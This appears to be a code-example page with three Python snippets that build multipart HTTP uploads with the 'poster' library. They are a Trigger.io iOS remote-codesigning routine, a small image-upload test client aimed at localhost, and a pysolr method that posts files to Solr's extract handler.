            self._missing_provisioning_profile(build, path_to_pp)

        try:
            os.remove(path_to_embedded_profile)
        except Exception:
            LOG.warning("Couldn't remove {profile}".format(
                profile=path_to_embedded_profile))
        shutil.copy2(path_to_pp, path_to_embedded_profile)

        if not sys.platform.startswith('darwin'):
            if not certificate_path:
                lib.local_config_problem(
                    build,
                    message="To deploy iOS apps to a device, you must specify a "
                    "path to a certificate to sign with.",
                    examples={
                        "ios.profiles.DEFAULT.developer_certificate_path":
                        path.abspath("/Users/Bob/certificate.pfx")
                    },
                    more_info=
                    "http://current-docs.trigger.io/tools/ios-windows.html")

            if not certificate_password:
                lib.local_config_problem(
                    build,
                    message="To deploy iOS apps to a device, you must specify a "
                    "path the password to unlock your certificate.",
                    examples={
                        "ios.profiles.DEFAULT.developer_certificate_password":
                        "******"
                    },
                    more_info=
                    "http://current-docs.trigger.io/tools/ios-windows.html")

            cache_file = None
            development_certificate = False
            try:
                cert_name = subprocess.check_output([
                    'java', '-jar',
                    ensure_lib_available(build, 'p12name.jar'),
                    certificate_path, certificate_password
                ]).strip()
                if cert_name.startswith('iPhone Developer:'):
                    development_certificate = True
            except Exception:
                pass

            if development_certificate:
                # Development certificate signings can be cached
                # Hash for Forge binary + signing certificate + profile + info.plist
                h = hashlib.sha1()
                with open(path.join(path_to_app, 'Forge'),
                          'rb') as binary_file:
                    h.update(binary_file.read())
                with open(path.join(path_to_app, 'Info.plist'),
                          'rb') as info_plist_file:
                    h.update(info_plist_file.read())
                with open(certificate_path, 'rb') as certificate_file:
                    h.update(certificate_file.read())
                with open(path_to_embedded_profile, 'rb') as embedded_file:
                    h.update(embedded_file.read())

                if not path.exists(
                        path.abspath(
                            path.join(self.path_to_ios_build, '..',
                                      '.template', 'ios-signing-cache'))):
                    os.makedirs(
                        path.abspath(
                            path.join(self.path_to_ios_build, '..',
                                      '.template', 'ios-signing-cache')))
                cache_file = path.abspath(
                    path.join(self.path_to_ios_build, '..', '.template',
                              'ios-signing-cache', h.hexdigest()))

            # XXX: Currently cache file is never saved, see below.
            if cache_file is not None and path.exists(cache_file):
                with temp_file() as resource_rules_temp:
                    shutil.copy2(path.join(path_to_app, 'ResourceRules.plist'),
                                 resource_rules_temp)
                    zip_to_extract = ZipFile(cache_file)
                    zip_to_extract.extractall(path_to_app)
                    zip_to_extract.close()
                    shutil.copy2(resource_rules_temp,
                                 path.join(path_to_app, 'ResourceRules.plist'))
                return

            # Remote
            LOG.info(
                'Sending app to remote server for codesigning. Uploading may take some time.'
            )

            # Zip up app
            with temp_file() as app_zip_file:
                if cache_file is None:
                    with ZipFile(app_zip_file, 'w',
                                 compression=ZIP_DEFLATED) as app_zip:
                        for root, dirs, files in os.walk(path_to_app,
                                                         topdown=False):
                            for file in files:
                                app_zip.write(
                                    path.join(root, file),
                                    path.join(root[len(path_to_app):], file))
                                os.remove(path.join(root, file))
                            for dir in dirs:
                                os.rmdir(path.join(root, dir))
                else:
                    with ZipFile(app_zip_file, 'w',
                                 compression=ZIP_DEFLATED) as app_zip:
                        app_zip.write(path.join(path_to_app, 'Forge'), 'Forge')
                        app_zip.write(path.join(path_to_app, 'Info.plist'),
                                      'Info.plist')
                        app_zip.write(path_to_embedded_profile,
                                      'embedded.mobileprovision')
                        with temp_file() as tweaked_resource_rules:
                            import biplist
                            rules = biplist.readPlist(
                                path.join(path_to_app, 'ResourceRules.plist'))
                            # Don't sign anything
                            rules['rules']['.*'] = False
                            with open(tweaked_resource_rules,
                                      'wb') as tweaked_resource_rules_file:
                                biplist.writePlist(
                                    rules, tweaked_resource_rules_file)
                            app_zip.write(tweaked_resource_rules,
                                          'ResourceRules.plist')

                from poster.encode import multipart_encode
                from poster.streaminghttp import register_openers
                import urllib2

                class FileWithProgress:
                    def __init__(self, path, flags):
                        self.total_size = os.path.getsize(path)
                        self.file = open(path, flags)
                        self.name = self.file.name
                        self.path = path
                        self.amount_read = 0
                        self.last_progress = 0

                    def read(self, length):
                        data = self.file.read(length)
                        if data != "":
                            self.amount_read = self.amount_read + len(data)
                            # TODO: Nicer progress output
                            progress = 10 * self.amount_read / self.total_size
                            if progress > self.last_progress:
                                self.last_progress = progress
                                LOG.info(
                                    str(10 * progress) +
                                    " percent uploaded: " + self.path)
                        else:
                            self.file.close()
                        return data

                    def fileno(self):
                        return self.file.fileno()

                    def seek(self, pos):
                        return self.file.seek(pos)

                files = {
                    'app': FileWithProgress(app_zip_file, 'rb'),
                    'entitlements': FileWithProgress(entitlements_file, 'rb'),
                    'certificate': FileWithProgress(certificate_path, 'rb'),
                    'password': certificate_password
                }

                # Register the streaming http handlers with urllib2
                register_openers()

                # headers contains the necessary Content-Type and Content-Length
                # datagen is a generator object that yields the encoded parameters
                datagen, headers = multipart_encode(files)

                # Create the Request object
                request = urllib2.Request("https://trigger.io/codesign/sign",
                                          datagen, headers)

                with temp_file() as signed_zip_file:
                    resp = urllib2.urlopen(request)

                    # Read the log lines from the start of the response
                    while True:
                        data = resp.readline()
                        if data == "--failure\n":
                            raise IOSError("Remote codesign failed")
                        elif data == "--data\n" or data == "":
                            break
                        LOG.info(data.rstrip('\r\n'))

                    # Read the binary data from the 2nd part of the response
                    # TODO: Chunked download and progress
                    with open(signed_zip_file, 'wb') as signed_zip:
                        signed_zip.write(resp.read())

                    # Unzip response
                    zip_to_extract = ZipFile(signed_zip_file)
                    zip_to_extract.extractall(path_to_app)
                    zip_to_extract.close()

                    # XXX: Caching currently disabled as Info.plist changes on every build
                    """if cache_file is not None:
						shutil.copy2(signed_zip_file, cache_file)"""
                    LOG.info('Signed app received, continuing with packaging.')

        else:
            # Local
            codesign = self._check_for_codesign()
            resource_rules = path.abspath(
                path.join(path_to_app, 'ResourceRules.plist'))
            run_shell(codesign, '--force', '--preserve-metadata',
                      '--entitlements', entitlements_file, '--sign',
                      certificate,
                      '--resource-rules={0}'.format(resource_rules),
                      path_to_app)
Пример #59
0
#test_client.py

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2


register_openers()

datagen,headers = multipart_encode({"img":open("1.jpg","rb"),"uid":"kk","submit":"Upload"})

request = urllib2.Request("http://127.0.0.1/PicUpload",datagen,headers)

print urllib2.urlopen(request).read()
Пример #60
0
    def extract(self, file_obj, extractOnly=True):
        """
        POSTs a file to the Solr ExtractingRequestHandler so rich content can
        be processed using Apache Tika. See the Solr wiki for details:

            http://wiki.apache.org/solr/ExtractingRequestHandler

        The ExtractingRequestHandler has a very simply model: it extracts
        contents and metadata from the uploaded file and inserts it directly
        into the index. This is rarely useful as it allows no way to store
        additional data or otherwise customize the record. Instead, by default
        we'll use the extract-only mode to extract the data without indexing it
        so the caller has the opportunity to process it as appropriate; call
        with ``extractOnly=False`` if you want to insert with no additional
        processing.

        Returns None if metadata cannot be extracted; otherwise returns a
        dictionary containing at least two keys:

            :contents:
                        Extracted full-text content, if applicable
            :metadata:
                        key:value pairs of text strings
        """
        if not POSTER_AVAILABLE:
            raise RuntimeError(
                "Solr rich content extraction requires `poster` to be installed"
            )

        # The poster library unfortunately defaults to mime-type None when
        # the file lacks a name and that causes it to send the file contents
        # as a gigantic string rather than a separate MIME part, which breaks
        # and spews the contents in the Solr request log:
        if not hasattr(file_obj, "name"):
            raise ValueError(
                "extract() requires file-like objects which have a defined name property"
            )

        params = {
            "extractOnly":
            "true" if extractOnly else "false",
            "lowernames":
            "true",
            "wt":
            "json",
            # We'll provide the file using its true name as Tika may use that
            # as a file type hint:
            file_obj.name:
            file_obj,
        }

        body_generator, headers = multipart_encode(params)

        try:
            resp = self._send_request('POST', "%s/update/extract" % self.path,
                                      "".join(body_generator), headers)
        except (IOError, SolrError), e:
            self.log.error("Failed to extract document metadata: %s",
                           e,
                           exc_info=e)
            raise